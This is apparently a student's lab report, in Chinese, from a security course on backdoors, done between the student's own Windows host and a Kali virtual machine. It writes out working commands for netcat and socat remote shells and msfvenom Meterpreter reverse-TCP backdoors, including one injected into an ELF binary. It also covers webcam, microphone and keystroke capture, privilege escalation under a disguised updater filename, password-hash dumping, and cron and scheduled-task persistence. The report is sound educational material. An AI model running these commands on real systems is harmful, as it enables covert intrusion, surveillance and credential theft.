1.实验内容
1.1实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
①弱密码:使用容易猜测或者常见的密码。
②操作系统或软件漏洞:利用操作系统或软件的已知漏洞进行攻击。
③社会工程:通过欺骗或诱导用户执行恶意操作。
④物理访问:直接访问设备或者服务器进行篡改。
⑤钓鱼攻击:通过欺骗用户点击恶意链接或下载恶意附件。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
①linux中可以使用cron设置定时内容,实现启动后门
②windows下可以伪装成系统服务使其自动打开
(3)Meterpreter有哪些给你映像深刻的功能?
①Meterpreter 可以在目标系统中建立持久性访问,确保攻击者可以随时访问系统,使得窃密非常容易,就像逛自己家一样
②Meterpreter 可以截取键盘输入、截取屏幕截图等,监控目标系统的活动。我都可以做到窃取摄像头、键盘等权限,那些比我厉害的人那不是可以更轻松的入侵他人电脑,这让我感觉黑客近在我身边。
(4)如何发现自己有系统有没有被安装后门?
①使用安全工具进行扫描,如360、火绒、金山毒霸等等
②分析系统日志,定期进行安全审计
2.实验过程
2.1实验环境和准备
①windows 10的主机和kali操作系统的虚拟机
②提前在主机上下载socat和ncat
③主机关闭防火墙、退出火绒
2.2实验基础知识
①ncat 是 Nmap 项目的一部分,是一个强大的网络工具,可以进行tcp连接、监听端口,还可以收发文件
建立 TCP 连接:
ncat [options] host port
建立 UDP 连接:
ncat -u [options] host port
监听端口:
ncat -l -p port [options]
文件传输:
# 接收文件
ncat -l -p port > received_file
# 发送文件
ncat host port < file_to_send
②socat可以看成是ncat的加强版,socat 可以在两个数据流之间建立连接,可以是文件、管道、套接字等。支持多种协议和加密方式。可以用于端口转发、代理、加密通信等场景。
③Meterpreter 是 Metasploit 框架中的一个功能强大的模块,用于渗透测试和攻击。它提供了一个交互式的 shell 环境,允许攻击者执行各种操作,包括远程访问、文件传输、系统信息收集和持久性访问等。
2.3 使用netcat获取主机操作Shell,cron启动某项任务
2.3.1 获取主机和虚拟机的ip地址,以及是否能够ping通
主机的ip地址是172.16.227.132
虚拟机的ip地址是192.168.221.164
成功验证双方可以ping通
2.3.2 windows获取linux shell
①kali输入
nc 172.16.227.132 2313 -e /bin/sh
②windows输入
ncat.exe -l -p 2313
表示执行ncat.exe文件,并且监听2313端口
③windows输入ls,发现成功获取linux的shell,但是输入crontab -e时出现乱码
2.3.3 使用cron启动某项任务
①提前在linux中进入root模式
②输入
echo “* * * * * * echo “20212313” > /home/kali/20212313.txt”
/var/spool/cron/crontabs/root
③然后输入crontab -l
④发现home/kali目录下出现20212313.txt文件,说明使用cron启动任务成功
2.4 使用socat获取主机操作Shell, 任务计划启动
2.4.1 linux上使用socat获取windows的shell
①kali终端输入
socat - tcp:172.16.227.132:2313
②windows输入
socat.exe tcp-listen:2313 exec:cmd.exe,pty,stderr
图二为kali获取windows的shell后的样子
2.4.2 用schtasks 命令创建任务计划
①提前写好20212313wjb.c文件,内容为在20212313.txt的文件中写入哈哈哈哈哈吴剑标,最后编译运行后生成20212313wjb.exe文件
#20212313wjb.c文件:
#include<stdio.h>
int main()
{
FILE *fp;
const char *test="哈哈哈哈哈吴剑标";
fp=fopen("20212313.txt","a");
fprintf(fp,test);
fclose(fp);
}
②将20212313wjb.exe创建每一分钟执行一次的任务计划
schtasks /create /sc minute /mo 1 /tn “20212313wjb” /tr
C:\Users\26233\Desktop\20212313wjb.exe
③打开计算机管理中的任务计划程序库中,发现了刚刚创建的20212313wjb的任务,并且是每一分钟重复一次。
④打开20212313.txt验证内容,说明实验成功
2.5 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
①使用MSF meterpreter生成后门文件,kali中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.221.164 LPORT=2313 -f exe > 20212313backdoor.exe
②windows监听2313端口,准备接收20212313backdoor文件
ncat.exe -l 2313 > 20212313_backdoor.exe
③kali通过2313端口发送后门文件给172.16.227.132主机
nc 172.16.227.132 2313 < 20212313backdoor.exe
④打开对应的目录,查看发现确实收到了后门文件
⑤进入MSF控制台,进行配置相关内容,成功实现监听,在此部分我出现了无法监听的问题,折磨了我许久,我将在后续讲述
①msfconsole //进入MSF控制台
②use exploit/multi/handler //使用监听模块
③set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
④set LHOST 192.168.221.164 //和之前生成后门程序时设置的kali的IP相同
⑤set LPORT 2313 //和之前生成后门程序时设置的端口相同
⑥exploit //开启监听
⑥windows上打开后门程序,成功获取shell,在kali中输入dir,获取各种文件,表示实验成功
ncat.exe -lv 2313 > 20212313_backdoor.exe
2.6 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.6.1在exploit模块中输入对应命令就可以获取对应的权限
record_mic //音频
screenshot //截屏
webcam_snap //拍照
keyscan_start keyscan_dump //读取键盘记录,输入前一个开启读取,输入后一个读取结束
2.6.2 尝试提权
①关于如何提权,我是学习杨申琳同学的实验过程,这让我大开眼界,学习到了许多
①bg
②use exploit/windows/local/ask
③set SESSION 1
④set FILENAME WeiChatUpdater.exe
⑤run
②尝试获取windows密码
meterpreter > run post/windows/gather/hashdump
2.7使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
①生成一个 Meterpreter 反向 TCP Shellcode,然后将其注入到指定的 Linux 可执行文件中,并将结果保存为名为 “20212313_pwn” 的 ELF 格式文件。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.221.164 LPORT=2313 -x /home/kali/Desktop/20212313pwn -f elf > 20212313_pwn
①msfvenom: 这是 Metasploit Framework 中用于生成恶意代码的工具。 ②-p
linux/x86/meterpreter/reverse_tcp: 这个参数指定了要生成的 Payload 类型,即
Meterpreter 反向 TCP Shellcode,适用于 Linux 平台的 x86 架构。
③LHOST=192.168.221.164: 这个参数指定了 Meterpreter 反向连接的 IP 地址,即攻击者的 IP 地址。
④LPORT=2313: 这个参数指定了 Meterpreter 反向连接的端口号,即攻击者监听连接的端口号。 ⑤-x
/home/kali/Desktop/20212313pwn: 这个参数指定了要注入 Payload 的可执行文件,即待注入的目标文件。
⑥-f elf: 这个参数指定了生成的 Payload 的输出格式为 ELF 格式,适用于 Linux 可执行文件。 ⑦
20212313_pwn: 这个符号将生成的 Payload 输出到名为“20212313_pwn” 的文件中。
②输入指令msfconsole,然后进行如下配置
①use exploit/multi/handler //进入handler模式 set payload
②linux/x86/meterpreter/reverse_tcp //对应生成的后门程序设置payload
③ set LHOST 192.168.221.164 //设置LHOST,其中ip为攻击者Linux的ip set
④LPORT 2313 //设置LPORT exploit //启动监听
⑤输入exploit
③打开另外一个终端执行20212313_pwn文件,就发现成功获取shell
3.问题及解决方案
-
问题1:使用schtasks命令创建计划任务时总是失败
-
问题1解决方案:尝试了很多次后,才发现是自己犯傻了,引号应该是英文的而不是中文的。
-
问题2:msf配置过程中老显示监听失败
-
问题2解决方案:这是我才发现,原来创建后门文件应该是实验攻击者的ip地址,也就是kali 的ip地址
-
问题3:修改了创建后门文件的ip地址后,仍然无法进行监听,并且error也发生了变化
-
问题3解决方案:经过查找资料我才明白是之前尝试了太多次的监听,导致2313端口被其他进程占用,需要kill掉之前的进程
①netstat -tulpen //查看进程
②fuser -k 2313/tcp //销毁占用2313端口的进程
解决方案可以参考以下链接: msf反弹shell成功,却无法建立会话处理办法
4.学习感悟、思考等
这次实验我觉得难度比第一次提升了许多,但是也更有意思了。这是我第一次感受黑客是什么样的。之前我对于如何进行攻击是非常有疑问的。这次通过创建后门获取各种权限,我才知道连我都可以获取目标主机的摄像头、键盘、密码等权限。真的是小小的体验了一下黑客。也深刻感受到防火墙、入侵检测的重要性。